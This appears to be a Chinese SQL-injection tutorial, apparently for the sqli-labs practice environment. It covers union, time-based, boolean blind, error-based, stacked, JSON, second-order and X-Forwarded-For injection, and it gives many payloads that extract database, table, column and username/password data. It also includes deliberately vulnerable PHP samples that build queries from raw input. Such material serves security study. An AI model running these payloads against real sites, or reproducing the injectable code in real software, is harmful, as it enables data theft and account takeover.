SQL注入(三)
文章目录
1. SQL语句及函数
当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显得原因可能时SQL语句查询方式问题导致,这个时候我们需要用到报错或者盲注进行后续操作
1.1 SQL语句
select 查询数据
select * from user where id=$id
delete 删除数据
delete from user where id=$id
insert 插入数据
insert into user (id,name,pass) values(1,'zhangsan','1234')
update 更新数据
update user set pwd='p' where id=1
当执行查询语句时,页面可能会有回显。当执行删除,插入,更新语句时,页面可能没有回显,因此使用盲注。
1.2 函数
group_concat():用于将多行数据合并成一个字符串
举个例子,假设一个网站存在SQL注入漏洞,攻击者可以通过注入恶意的 GROUP_CONCAT
函数来获取数据库中的用户名和密码。原始查询语句可能是这样的:
SELECT username, password FROM users WHERE id = $id
如果攻击者可以控制 $id
参数,并且存在注入漏洞,攻击者可以尝试注入类似以下的代码:
?id=1 GROUP BY 1,2 UNION SELECT NULL, GROUP_CONCAT(username,':',password) FROM users
这样,攻击者可以利用 GROUP_CONCAT
函数将所有用户名和密码合并为一个字符串,并以 :
分隔。通过这种方式,攻击者可以获取到所有用户的用户名和密码信息。
floor()向下取整 floor(10.5) = 10
rand()随机数 0 ~ 1之间
count(*)函数返回表的记录数。
concat函数:将多个字符串连接成一个字符串
2. Union注入
通过在SQL查询语句中使用UNION操作符来将两个或多个查询结果合并在一起,从而获取额外的信息或执行恶意操作。
一般来说,Union注入需要满足以下条件才能成功:
- 原始查询语句必须返回相同数量的列。
- Union注入的结果需要和原始查询结果合并在一起并返回给攻击者。
举个例子,假设一个网站的URL参数中包含一个数字,用于查询指定ID的用户信息。原始查询语句可能是这样的:
SELECT id, username, email FROM users WHERE id = $id
如果攻击者可以控制URL参数,并且存在Union注入漏洞,攻击者可以尝试在URL参数中注入UNION操作符,构造一个额外的查询语句,比如:
?id=1 UNION SELECT 1, 'hacker', 'hacker@example.com'
这样,原始查询结果和额外查询结果会合并在一起返回,攻击者就可以获取到额外的信息,比如’hacker’用户的信息。通过不断尝试,攻击者可以逐步获取更多的数据,包括数据库结构、敏感信息等。
hacker可以是:
database()
version()
group_concat(schema_name) from information_schema.schemata 库名
group_concat(table_name)from information_schema.tables where table_schema=database() 表名
group_concat(column_name)from information_schema.columns where table_name='’ 字段名
(select group_concat(username,0x7e,password)from users) 字段
3. 延时注入
通过在SQL查询中插入延时函数来延长数据库的响应时间,从而确定数据库是否受到注入攻击。如果应用程序在受到注入攻击时响应时间明显延长,那么攻击者就可以确认注入点存在,并且成功执行了注入攻击。
3.1 函数
sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠
SLEEP()
函数通常用于在 SQL 查询中引入延时,其语法通常为:
SLEEP(seconds)
其中,seconds
是一个表示延时时间的参数,单位为秒。当数据库执行包含 SLEEP()
函数的查询时,如果 seconds
参数的值为正数,数据库会暂停执行指定的秒数,然后再继续执行后续的操作。
攻击者可以通过在 SQL 注入点插入 SLEEP()
函数来测试注入点是否存在,以及确定注入是否成功。例如,攻击者可能会尝试在注入点插入类似以下代码:
SELECT * FROM users WHERE id = 1 AND 1=2 UNION SELECT 1, SLEEP(5), 3--
在这个例子中,如果数据库在执行这个查询时出现了延时,就意味着注入点存在,并且成功执行了注入攻击。
if(): i f 是 计算机编程语言一个关键字,分支结构的一种
if(a,b,c):a条件成立 执行b, 条件不成立,执行c
使用if与sleep结合使用:
select * form table where id =1 and sleep(if(database()='test',3,0))
length():判断长度
select * form table where id =1 and sleep(if(length(database())=8,3,0))
mid(a,b,c): 从b开始,截取a字符串的c位
select * form table where id =1 and sleep(if(mid(database(),1,1)='a',3,0))
substr()函数:Substr()和substring()函数实现的功能是一样的,均为截取字符串。string substring(string, start, length) string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
Left ( string, n ) :得到字符串左部指定个数的字符,string为要截取的字符串,n为长度。
ascii():获取字符 ‘A’ 的 ASCII 值.(防止引号 ‘ “ 转义)
3.2 原理
在注入点插入能够引起延时的函数或语句,比如SLEEP()
函数或WAITFOR DELAY
语句。如果应用程序在受到注入攻击时的响应时间明显延长,那么攻击者可以确认注入点存在,并且成功执行了注入攻击。
3.3 应用
select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=number,sleep(3),0);
4. 布尔盲注
4.1 原理
Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。
4.2 二分法
1.猜解数据库的名字
?id=1' and ascii(mid(database(),1,1))>115--+ 非正常
?id=1' and ascii(mid(database(),1,1))>116--+ 非正常
?id=1' and ascii(mid(database(),1,1))=115--+ 正常
?id=1' and ascii(mid(database(),2,1))=101--+ 正常
?id=1' and ascii(mid(database(),3,1))=99--+ 正常`
如此就得到了
第一个字符的ASCII码为115解码出来为“s”
第二个字符的ASCII码为101解码出来为“e”
第二个字符的ASCII码为99解码出来为“c”
依次类推出数据库的名字为“security”
2.猜解表名
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=number--+ (第一个表)
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=number--+ (第二个表)
5. 强制报错注入
5.1 函数
updatexml():从目标XML中更改包含所查询值的字符串
updatexml(XML_document,XPath_String,new_value);
第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_string(Xpath格式字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
举个例子,假设一个网站存在 SQL 注入漏洞,攻击者可以尝试注入恶意的 updatexml()
函数来执行恶意操作。原始查询语句可能是这样的:
SELECT * FROM users WHERE id = $id
如果攻击者可以控制 $id
参数,并且存在注入漏洞,攻击者可以尝试注入类似以下的代码:
?id=1' AND updatexml(1, concat(0x3a, (SELECT user()), 0x3a), 1) --+
这样,如果注入点存在并且条件成立,数据库会执行注入的 updatexml()
函数,将 SELECT user()
的结果插入到 XML 数据中。通过观察应用程序的行为或报错信息,攻击者可以获取数据库中的信息。
extractvalue():从目标XML中返回包含所查询值的字符串
extractvalue(XML_document,XPath_String)
第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_String (Xpath格式字符串)
举个例子,假设一个网站存在 SQL 注入漏洞,攻击者可以尝试注入恶意的 extractvalue()
函数来执行恶意操作。原始查询语句可能是这样的:
SELECT * FROM users WHERE id = $id
如果攻击者可以控制 $id
参数,并且存在注入漏洞,攻击者可以尝试注入类似以下的代码:
?id=1' AND extractvalue(1, concat(0x3a, (SELECT user()), 0x3a)) --+
这样,如果注入点存在并且条件成立,数据库会执行注入的 extractvalue()
函数,从 XML 数据中提取 SELECT user()
的结果。
floor():向下取整
5.2 原理
条件正确有回显,条件错误无回显,但有数据库报错。
- 数据库会执行恶意注入的代码,导致错误发生。这可能是因为语法错误、类型不匹配或其他问题。
- 应用程序会将数据库返回的错误信息显示给用户,通常是在页面上显示错误消息或日志文件中记录错误信息。
- 攻击者通过观察错误信息中的内容,比如数据库的版本信息、表名、列名等,来获取数据库中的敏感信息。
报错常用的三个函数,extractvalue(),updatexml(),floor()
extractvalue(),updatexml()原理:如果XPath_String这个参数不是XPath格式,就会报错,并返回查询结果
floor()原理:group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concant()中的SQL语句或者函数被执行,所以改语句报错而且被抛出的主键是SQL语句或数执行后的结果。
- floor()报错注入在MySQL版本8.0 已失效,经过测试7.3.4nts也已失效(据说的 本人没有实践过)
- 注入语句中查询用到的表内数据必须>=3条
- 需要用到的count(*)、floor()或者ceil()、rand()、group by
?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23 c为别名
5.3 应用
报错注入的运用前提是需要有数据库错误的显示,看源码
- 用extractvalue函数进行报错注入。
爆破数据库
?id=1' or/and extractvalue(1,concat(0x7e,database()/(select
database()),0x7e))--+
爆破数据库表
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name)from
information_schema.tables where table_schema=database()),0x7e))--+
爆破字段
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name)from
information_schema.columns where table_name='users'),0x7e))
爆破数据内容
?id=1' or extractvalue(1,concat(0x7e,(select username from users limit
0,1),0x7e))--+
2.用updatexml()函数进行报错注入
爆破数据库
?id=1' or/and updatexml(1,concat(0x7e,database()/(select database()),0x7e),1)--+
爆破数据库表
?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name)from
information_schema.tables where table_schema=database()),0x7e),1)--+
爆破字段
?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name)from
information_schema.columns where table_name='users'),0x7e),1)--+
爆破数据内容
?id=1' or updatexml(1,concat(0x7e,(select password from users limit
0,1),0x7e),1)--+
3.通floor()函数进行报错注入,前提需要知道有多少字段数
爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出数据
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
6. 加解密注入
6.1 原理
数据在传输的过程中可能被加密,因此注入语句也要被加密才能注入
- 加密注入:攻击者可能会在注入攻击中使用加密算法对注入的恶意代码进行加密,以避免被检测和阻止。加密后的注入代码可能会绕过一些简单的安全检测,从而成功执行注入攻击。
- 解密注入:一旦加密的恶意代码成功插入到目标系统中,攻击者可能会利用相应的解密算法对其进行解密,以还原出原始的恶意代码。通过解密后的代码,攻击者可以执行各种恶意操作,如获取敏感数据、修改数据库内容等。
7. 堆叠注入
7.1 原理
在SQL中,分号 ;是用来表示一条sql语句的结束,在 ; 结束一个sql语句后面继续构造下一个语句
会不会一起执行?因此这个想法也就造就了堆叠注入。
而union injection(联合注入)也是将两条语句合并在一起
两者之间有什么区别?区别就在于union执行语句类型有限,可以用来执行查询语句,而堆叠注入可以执行的是任意语句
8. json注入
8.1 原理
1.JSON 数据结构:JSON(JavaScript Object Notation)是一种轻量级的数据交换格式,常用于前后端数据传输。它由键值对组成,使用大括号 {}
表示对象,使用中括号 []
表示数组。
const jsonStr ='{"name":"zhangsan","age":18,"sex":"男"}'
2.注入点检测:攻击者会寻找应用程序中接受 JSON 数据的地方,比如通过 API 接口或表单提交等,作为潜在的注入点。
3.恶意代码注入:攻击者会在 JSON 数据中插入恶意代码,通常是在键或值中注入特殊字符或语句,以触发应用程序的漏洞或绕过安全机制。
8.2 应用
<?php
// php防止中文乱码
header('content-type:text/html;charset=utf-8');
if(isset($_POST['json'])){
$json_str=$_POST['json'];
$json=json_decode($json_str);
if(!$json){
die('JSON文档格式有误,请检查');
}
$username=$json->username;
//$password=$json->password;
// 建立mysql连接,root/root连接本地数据库
$mysqli=new mysqli();
$mysqli->connect('localhost','root','root');
if($mysqli->connect_errno){
die('数据库连接失败:'.$mysqli->connect_error);
}
// 要操作的数据库名,我的数据库是security
$mysqli->select_db('security');
if($mysqli->errno){
dir('打开数据库失败:'.$mysqli->error);
}
// 数据库编码格式
$mysqli->set_charset('utf-8');
// 从users表中查询username,password字段
$sql="SELECT username,password FROM users WHERE username='{$username}'";
$result=$mysqli->query($sql);
if(!$result){
die('执行SQL语句失败:'.$mysqli->error);
}else if($result->num_rows==0){
die('查询结果为空');
}else {
$array1=$result->fetch_all(MYSQLI_ASSOC);
echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";
}
// 释放资源
$result->free();
$mysqli->close();
}
?>
9. 二次注入
9.1 原理
- 存储恶意代码:攻击者首先向应用程序注入恶意代码,通常是通过表单提交、Cookie、文件上传等方式。这些恶意代码被存储在应用程序的数据库、文件系统或其他存储介质中。
- 等待触发执行:存储的恶意代码不会立即执行,而是等待后续的触发条件。这些触发条件可能是由其他用户的操作、特定时间条件、管理员操作等触发的。
- 执行恶意代码:一旦触发条件满足,应用程序会从存储介质中提取恶意代码并执行。这样,攻击者可以在不直接与应用程序交互的情况下,实现对系统的攻击。
- 绕过安全控制:由于恶意代码的执行是在后续的操作中触发的,可能绕过了应用程序的一些安全控制,比如输入验证、过滤等。
- 执行攻击操作:一旦恶意代码执行,攻击者可以执行各种攻击操作,比如数据库查询、数据篡改、系统命令执行等。
简言之就是将脏数据进行简单过滤后开发者就认为该数据可信便存入数据库中,当下一次调用该数据时,该数据就会拼接到其他查询语句中造成注入。
9.2 应用(Less24)
注册账号,传递脏数据。
username和password都经过了mysql_real_escape_string函数的转义,直接执行SQL语句会转义,但是数据库中还是插入了问题数据admin’#
重置密码,将admin’# 带入到username中,#就会注释后面内容,从而构造sql注入,将admin密码修改为1234
UPDATE users SET PASSWORD='1234' where username='admin'#' and password='$curr_pass'
10 XFF注入
XFF,是X-Forwarded-for的缩写,
X-Forwarded-For 是一个 HTTP 扩展头部。,用来表示 HTTP 请求端真实 IP
XFF注入是SQL注入的一种,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端 IP。X-Forwarded-for 可以随意设置字符串,如果程序中获取这个值,再带入数据库查询会造成 SQL 注入。
1.防止登录次数
2.防止异地登录
<?php
$con=mysqli_connect("localhost","root","root","test");
if (mysqli_connect_errno())
{
echo "连接失败: " . mysqli_connect_error();
}
if(getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} elseif(getenv('REMOTE_ADDR')) {
$ip = getenv('REMOTE_ADDR');
} else {
$ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
}
$result = mysqli_query($con,"select * from user where `ip`='$ip'");
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
$row = mysqli_fetch_array($result);
echo $row['username'] . " : " . $row['password'];
echo "<br>";
echo 1111;
?>
getenv(' HTTP_CLIENT_IP ')是获取当前客户端的IP
HTTP_CLIENT_IP: 获取当前客户端的IP
HTTP_X_FORWARDED_FOR: 浏览当前页面的用户计算机的网关
REMOTE_ADDR: 浏览当前页面的用户计算机的ip地址
getenv() : 获取当前系统的环境变量